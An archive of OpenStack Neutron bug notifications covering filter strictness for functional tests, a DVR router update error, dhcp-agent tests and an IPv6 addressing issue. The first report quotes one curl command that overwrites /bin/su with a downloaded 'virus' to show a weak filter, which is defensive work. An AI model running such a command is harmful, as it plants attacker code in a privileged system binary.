Public bug reported: Currently, for example, tee program not using in functional tests, but filter for it (very weak) are existing in functional-testing.filters . Also, in the current state of the curl filter allow to use curl to replace system files, like: curl -o /bin/su http://mycoolsite.in/my-virus-needs-suid We need more strict filters setting for functional tests. ** Affects: neutron Importance: Undecided Assignee: Sergey Belous (sbelous) Status: New ** Changed in: neutron Assignee: (unassigned) => Sergey Belous (sbelous) -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1487139 Title: We need more strict filters for functional tests Status in neutron: New Bug description: Currently, for example, tee program not using in functional tests, but filter for it (very weak) are existing in functional-testing.filters . Also, in the current state of the curl filter allow to use curl to replace system files, like: curl -o /bin/su http://mycoolsite.in/my-virus-needs-suid We need more strict filters setting for functional tests. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1487139/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : yahoo-eng-team@lists.launchpad.net Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1477509] [NEW] When we try to update a Distributed router to centralized non implemented error occurs. We need more concrete message
Public bug reported:
Steps to reproduce
1) Openstack with enabled DVR
2) Create router with Distributed=True
3) Try to update it in CLI to centralized:
neutron router-update test_router --distributed=False
An error occurs:
501-{u'NotImplementedError': {u'message': u'', u'type': u'NotImplementedError',
u'detail': u''}}
** Affects: neutron
Importance: Undecided
Assignee: Sergey Belous (sbelous)
Status: New
** Changed in: neutron
Assignee: (unassigned) => Sergey Belous (sbelous)
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/1477509
Title:
When we try to update a Distributed router to centralized non
implemented error occurs. We need more concrete message
Status in neutron:
New
Bug description:
Steps to reproduce
1) Openstack with enabled DVR
2) Create router with Distributed=True
3) Try to update it in CLI to centralized:
neutron router-update test_router --distributed=False
An error occurs:
501-{u'NotImplementedError': {u'message': u'', u'type':
u'NotImplementedError', u'detail': u''}}
To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1477509/+subscriptions
--
Mailing list: https://launchpad.net/~yahoo-eng-team
Post to : yahoo-eng-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~yahoo-eng-team
More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1469065] [NEW] add functional tests for dhcp-agent
Public bug reported: Need to add base in-tree functional testing of the dhcp agent. This will increase overall project coverage with functional tests. ** Affects: neutron Importance: Undecided Assignee: Sergey Belous (sbelous) Status: New ** Changed in: neutron Assignee: (unassigned) => Sergey Belous (sbelous) -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1469065 Title: add functional tests for dhcp-agent Status in OpenStack Neutron (virtual network service): New Bug description: Need to add base in-tree functional testing of the dhcp agent. This will increase overall project coverage with functional tests. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1469065/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : yahoo-eng-team@lists.launchpad.net Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1380238] Re: Instances won't obtain IPv6 address if they have additional IPv4 interface
@Ihar, I checked this for ubuntu: http://paste.openstack.org/show/184928/ and all works fine. ** Changed in: neutron Status: Confirmed => Invalid -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1380238 Title: Instances won't obtain IPv6 address if they have additional IPv4 interface Status in OpenStack Neutron (virtual network service): Invalid Bug description: Description of problem: === I booted an instance with both IPv4 and IPv6 interfaces, yet that instance did no obtain any IPv6 address. In order make sure nothing is wrong with my IPv6 configuration (which is RADVD SLAAC), I booted additional instance with IPv6 interface only, which obtained an IPv6 address with no issues. Version-Release number of selected component (if applicable): = openstack-neutron-2014.2-0.7.b3 How reproducible: = Always Steps to Reproduce: === 0. Perior to the test, configure the following: a. Neutron router b. IPv4 Network & Subnet c. IPv6 Network & Subnet (SLAAC in my specific case) --> Created with: --ipv6-address-mode slaac --ipv6_ra_mode slaac d. Add router interfaces with those networks. 1. spwan an instance with both IPv4 & IPv6 interfaces. 2. spwan an instance with IPv6 interface only. Actual results: === 1. The instance spawed in step 1 obtained IPv4 address and IPv6 link local address only 2. The instance spawed in step 2 obtained IPv6 addrees proparly. Expected results: = Instances should obtain all IP addresses in both scenarios I mentioned above. Additional info: Using tcpdump from within the instances I noticed that ICMPv6 Router Advertisments did not reach the NIC. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1380238/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : yahoo-eng-team@lists.launchpad.net Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
